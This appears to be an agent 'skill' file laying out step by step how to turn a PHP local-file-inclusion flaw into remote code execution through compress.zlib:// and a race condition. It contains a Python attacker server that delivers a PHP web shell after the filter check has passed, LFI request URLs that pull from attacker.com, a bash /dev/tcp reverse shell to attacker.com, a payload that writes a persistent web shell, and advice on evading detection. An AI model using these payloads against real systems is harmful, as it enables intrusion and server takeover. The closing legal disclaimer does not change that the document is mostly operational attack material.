LFI2RCE via compress.zlib:// + PHP_STREAM_PREFER_STDIO + Race Condition
Overview
This skill covers a sophisticated exploitation technique that converts Local File Inclusion (LFI) vulnerabilities into Remote Code Execution (RCE) by abusing PHP's compress.zlib:// stream wrapper combined with a race condition.
When to Use This Technique
- You have an LFI vulnerability but direct PHP file upload is blocked
- The target filters out
<?tags in file content - You can control a remote server to serve files to the victim
- You have path disclosure capabilities (can see temp file paths)
- The target uses PHP with
PHP_STREAM_PREFER_STDIOflag enabled
Vulnerability Mechanics
The Core Concept
When PHP opens a file using compress.zlib:// protocol with PHP_STREAM_PREFER_STDIO flag:
- PHP creates a temporary file to store the remote content
- The connection to the remote server stays open
- Data sent later through the connection continues writing to the same temp file
- This creates a race condition window for exploitation
The Race Condition
[Attacker Server] [Victim Server]
| |
|--- HTTP Request (LFI) ----------->|
| | Creates temp file
| | Checks for <? tags
|<-- HTTP Response (safe content) --|
| | Security check passes
| |
|--- Send PHP payload ------------->| (connection still open)
| | Payload written to temp file
| |
| | Includes temp file
| | RCE achieved!
Prerequisites
- LFI Vulnerability: Target must have a file inclusion vulnerability
- Path Disclosure: Ability to discover the temporary file path (via error messages, logs, or other disclosure methods)
- Remote Server Control: You need a server to serve files to the victim
- Timing: The race condition window is typically milliseconds
Step-by-Step Exploitation
Step 1: Set Up Your Attacker Server
Create a server that can:
- Serve initial safe content
- Keep the connection open
- Send PHP payload after a delay
#!/usr/bin/env python3
# scripts/lfi2rce-exploit.py
import http.server
import socketserver
import threading
import time
import sys
class LFI2RCEHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
# Initial safe response
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.send_header('Connection', 'keep-alive')
self.end_headers()
self.wfile.write(b'Safe initial content')
# Keep connection open and send payload after delay
time.sleep(0.5) # Adjust timing based on target
self.wfile.write(b'<?php system($_GET["cmd"]); ?>')
self.wfile.flush()
# Close connection
self.connection.close()
def log_message(self, format, *args):
pass # Suppress logging
if __name__ == '__main__':
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 8080
with socketserver.TCPServer(("", PORT), LFI2RCEHandler) as httpd:
print(f"[*] LFI2RCE server on port {PORT}")
httpd.serve_forever()
Step 2: Trigger the LFI
Send a request to the vulnerable endpoint:
http://victim.com/vuln.php?file=compress.zlib://http://attacker.com:8080/payload
Step 3: Discover the Temp File Path
Use path disclosure techniques:
- Check error messages
- Look at application logs
- Use other LFI to read
/proc/self/environor similar - Exploit information disclosure vulnerabilities
Common temp file locations:
/tmp/phpXXXXXX/var/tmp/phpXXXXXXC:\Windows\Temp\phpXXXXXX
Step 4: Exploit the Race Condition
Once you have the temp file path, include it:
http://victim.com/vuln.php?file=/tmp/phpXXXXXX?cmd=id
Step 5: Verify RCE
Check if the command executed:
- Look for output in the response
- Check for side effects (file creation, network connections)
- Use blind techniques if output is filtered
Example Payloads
Basic Command Execution
<?php system($_GET["cmd"]); ?>
Reverse Shell
<?php system("bash -i >& /dev/tcp/attacker.com/4444 0>&1"); ?>
File Upload
<?php file_put_contents('/var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>'); ?>
Timing Considerations
The race condition window is critical. Adjust timing based on:
- Network latency: Higher latency = longer delay needed
- Server load: Busy servers may have longer processing times
- Security check complexity: More checks = longer window
Use automated timing adjustment:
for delay in [0.1, 0.3, 0.5, 0.7, 1.0]:
# Try with different delays
pass
Detection Evasion
Bypass Content Filters
If the target filters specific characters:
- Use alternative PHP tags:
<?=or<?php(if not filtered) - Use encoded payloads:
base64_decode(),eval() - Use null bytes:
<?php%00(if PHP version allows)
Avoid Signature Detection
- Randomize payload encoding
- Use obfuscation techniques
- Split payload across multiple requests
Common Pitfalls
- Timing too fast: Payload sent before security check completes
- Timing too slow: Connection closed before payload arrives
- Wrong temp file: Path disclosure gives wrong file
- Connection closed: Server closes connection prematurely
- PHP version: Some PHP versions don't support this technique
Verification Checklist
Before attempting exploitation:
- LFI vulnerability confirmed
- Path disclosure method identified
- Attacker server ready and accessible from victim
- Timing parameters tested
- Authorization obtained (for authorized testing only)
Legal and Ethical Considerations
IMPORTANT: This technique should only be used:
- In authorized penetration testing engagements
- On systems you own or have explicit permission to test
- In CTF competitions and educational environments
- Never on production systems without authorization
Unauthorized exploitation of this vulnerability is illegal and can result in criminal charges.
References
- HXP36C3 CTF Writeup
- PHP Stream Wrapper Documentation
- PHP_STREAM_PREFER_STDIO flag behavior
Related Techniques
- Standard LFI exploitation
- PHP filter wrappers (
php://filter) - Race condition exploitation in other contexts
- Path traversal attacks